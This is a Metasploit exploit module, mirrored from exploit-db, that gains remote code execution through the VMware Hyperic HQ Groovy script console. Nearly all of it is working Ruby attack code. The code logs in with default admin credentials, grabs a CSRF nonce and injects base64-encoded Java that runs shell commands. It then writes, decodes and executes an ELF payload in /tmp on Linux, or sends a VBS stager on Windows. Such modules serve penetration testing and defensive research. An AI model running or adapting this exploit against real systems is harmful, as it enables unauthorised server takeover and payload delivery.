VMware Hyperic HQ Groovy Script-Console – Java Execution (Metasploit)

  • 作者: Metasploit
    日期: 2013-10-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/28962/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStagerVBS
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'VMware Hyperic HQ Groovy Script-Console Java Execution',
    'Description'=> %q{
    This module uses the VMware Hyperic HQ Groovy script console to execute
    OS commands using Java. Valid credentials for an application administrator
    user account are required. This module has been tested successfully with
    Hyperic HQ 4.6.6 on Windows 2003 SP2 and Ubuntu 10.04 systems.
    },
    'Author' =>
    [
    'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
    ],
    'License'=> MSF_LICENSE,
    'DefaultOptions' =>
    {
    'WfsDelay' => '15',
    },
    'References' =>
    [
    ['URL', 'https://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html']
    ],
    'Targets'=>
    [
    # Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04
    ['Automatic', {} ],
    ['Windows',{'Arch' => ARCH_X86, 'Platform' => 'win'}],
    ['Linux',{'Arch' => ARCH_X86, 'Platform' => 'linux' }],
    ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
    ],
    'Platform' => %w{ win linux unix },
    'Privileged' => false, # Privileged on Windows but not on *nix targets
    'DisclosureDate' => 'Oct 10 2013',
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptBool.new('SSL', [true, 'Use SSL', true]),
    Opt::RPORT(7443),
    OptString.new('USERNAME',[ true, 'The username for the application', 'hqadmin' ]),
    OptString.new('PASSWORD',[ true, 'The password for the application', 'hqadmin' ]),
    OptString.new('TARGETURI', [ true, 'The path to HypericHQ', '/' ]),
    ], self.class)
    end
    
    #
    # Login
    #
    def login(user, pass)
    @cookie = "JSESSIONID=#{Rex::Text.rand_text_hex(32)}"
    
    res = send_request_cgi({
    'uri' => normalize_uri(@uri.path, "j_spring_security_check?org.apache.catalina.filters.CSRF_NONCE="),
    'method'=> 'POST',
    'cookie'=> @cookie,
    'vars_post' => {
    'j_username' => Rex::Text.uri_encode(user, 'hex-normal'),
    'j_password' => Rex::Text.uri_encode(pass, 'hex-normal'),
    'submit' => 'Sign+in'
    }
    })
    
    res
    end
    
    #
    # Check access to the Groovy script console and get CSRF nonce
    #
    def get_nonce
    res = send_request_cgi({
    'uri' => normalize_uri(@uri.path, "mastheadAttach.do?typeId=10003"),
    'cookie' => @cookie
    })
    
    if not res or res.code != 200
    print_warning("#{peer} - Could not access the script console")
    end
    
    if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/
    @nonce = $1
    vprint_status("#{peer} - Found token '#{@nonce}'")
    end
    end
    
    #
    # Check credentials and check for access to the Groovy console
    #
    def check
    
    @uri = target_uri
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    
    # login
    print_status("#{peer} - Authenticating as '#{user}'")
    res= login(user, pass)
    if res and res.code == 302 and res.headers['location'] !~ /authfailed/
    print_good("#{peer} - Authenticated successfully as '#{user}'")
    # check access to the console
    print_status("#{peer} - Checking access to the script console")
    get_nonce
    if @nonce.nil?
    return Exploit::CheckCode::Detected
    else
    return Exploit::CheckCode::Vulnerable
    end
    elsif res.headers.include?('X-Jenkins') or res.headers['location'] =~ /authfailed/
    print_error("#{peer} - Authentication failed")
    return Exploit::CheckCode::Detected
    else
    return Exploit::CheckCode::Safe
    end
    
    end
    
    def on_new_session(client)
    if not @to_delete.nil?
    print_warning("#{peer} - Deleting #{@to_delete} payload file")
    execute_command("rm #{@to_delete}")
    end
    end
    
    def http_send_command(java)
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(@uri.path, 'hqu/gconsole/console/execute.hqu?org.apache.catalina.filters.CSRF_NONCE=')+@nonce,
    'cookie'=> @cookie,
    'vars_post' => {
    'code' => java # java_craft_runtime_exec(cmd)
    }
    })
    if res and res.code == 200 and res.body =~ /Executed/
    vprint_good("#{peer} - Command executed successfully")
    else
    fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to execute the command.")
    end
    # version 4.6.6 returns a new CSRF nonce in the response
    if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/
    @nonce = $1
    vprint_status("#{peer} - Found token '#{@nonce}'")
    # version 4.5.2 does not, so we request a new one
    else
    get_nonce
    end
    
    return res
    end
    
    # Stolen from jenkins_script_console.rb
    def java_craft_runtime_exec(cmd)
    decoder = Rex::Text.rand_text_alpha(5, 8)
    decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
    cmd_array = Rex::Text.rand_text_alpha(5, 8)
    jcode ="sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
    jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
    
    jcode << "String [] #{cmd_array} = new String[3];\n"
    if @my_target['Platform'] == 'win'
    jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
    jcode << "#{cmd_array}[1] = \"/c\";\n"
    else
    jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
    jcode << "#{cmd_array}[1] = \"-c\";\n"
    end
    jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
    jcode << "Runtime.getRuntime().exec(#{cmd_array});"
    jcode
    end
    
    def java_get_os
    jcode = "System.getProperty(\"os.name\").toLowerCase();"
    
    return jcode
    end
    
    def execute_command(cmd, opts = {})
    vprint_status("#{peer} - Attempting to execute: #{cmd}")
    http_send_command(java_craft_runtime_exec(cmd))
    end
    
    # Stolen from jenkins_script_console.rb
    def linux_stager
    cmds = "echo LINE | tee FILE"
    exe= Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
    base64 = Rex::Text.encode_base64(exe)
    base64.gsub!(/\=/, "\\u003d")
    file = rand_text_alphanumeric(6+rand(4))
    
    execute_command("touch /tmp/#{file}.b64")
    cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
    base64.each_line do |line|
    line.chomp!
    cmd = cmds
    cmd.gsub!(/LINE/, line)
    execute_command(cmds)
    end
    
    execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
    execute_command("chmod +x /tmp/#{file}")
    execute_command("rm /tmp/#{file}.b64")
    
    execute_command("/tmp/#{file}")
    @to_delete = "/tmp/#{file}"
    end
    
    def get_target
    res = http_send_command(java_get_os)
    
    if res and res.code == 200 and res.body =~ /"result":"(.*)","timeStatus/
    os = $1
    else
    return nil
    end
    
    case os
    when /win/
    return targets[1]
    when /linux/
    return targets[2]
    when /nix/
    when /mac/
    when /aix/
    when /sunow/
    return targets[3]
    else
    return nil
    end
    
    end
    
    
    def exploit
    
    # login
    @uri = target_uri
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    res= login(user, pass)
    if res and res.code == 302 and res.headers['location'] !~ /authfailed/
    print_good("#{peer} - Authenticated successfully as '#{user}'")
    else
    fail_with(Exploit::Failure::NoAccess, "#{peer} - Authentication failed")
    end
    
    # check access to the console and get CSRF nonce
    print_status("#{peer} - Checking access to the script console")
    get_nonce
    
    # check operating system
    if target.name =~ /Automatic/
    print_status("#{peer} - Trying to detect the remote target...")
    @my_target = get_target
    if @my_target.nil?
    fail_with(Failure::NoTarget, "#{peer} - Failed to detect the remote target")
    else
    print_good("#{peer} - #{@my_target.name} target found")
    end
    else
    @my_target = target
    end
    
    # send payload
    case @my_target['Platform']
    when 'win'
    print_status("#{peer} - Sending VBS stager...")
    execute_cmdstager({:linemax => 2049})
    when 'unix'
    print_status("#{peer} - Sending UNIX payload...")
    http_send_command(java_craft_runtime_exec(payload.encoded))
    when 'linux'
    print_status("#{rhost}:#{rport} - Sending Linux stager...")
    linux_stager
    end
    
    end
    end